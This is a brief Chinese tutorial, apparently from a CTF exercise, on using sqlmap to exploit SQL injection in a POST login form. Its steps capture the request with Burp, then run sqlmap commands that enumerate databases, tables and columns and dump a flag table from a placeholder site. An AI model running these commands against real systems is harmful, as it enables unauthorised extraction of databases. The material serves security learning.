一：三種方式 sqlmap.py -r 從文件讀取數據 -p 指定的參數 --tables sqlmap.py -u 登錄的地址 --forms 自動判斷注入 sqlmap.py -u 登錄的地址 --data "指定參數" 二：演示 （1）目標地址http:// www.xxx.com /login.asp （2）打開brup代理。 （3）點擊表單提交 （4）burp獲取攔截信息（post） （5）右鍵保存文件（.txt）到指定目錄下 （6）運行sqlmap并執行如下命令： // -r表示加載文件(及步驟（5）保存的路徑)，-p指定參數（即攔截的post請求中表單提交的用戶名或密碼等name參數） sqlmap -r okay.txt -p username ?//獲取所有數據庫 python sqlmap.py -r okay.txt --dbs  python sqlmap.py -r okay.txt -D skctf_flag --tables  python sqlmap.py -r okay.txt -D skctf_flag -T fl4g --columns  python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump  （7）自動獲取表單**：**\--forms自動獲取表單 sqlmap -u www.xx.com/login.asp --forms （8）指定參數搜索：--data sqlmap -u www.xx.com/login.asp --data "username=1"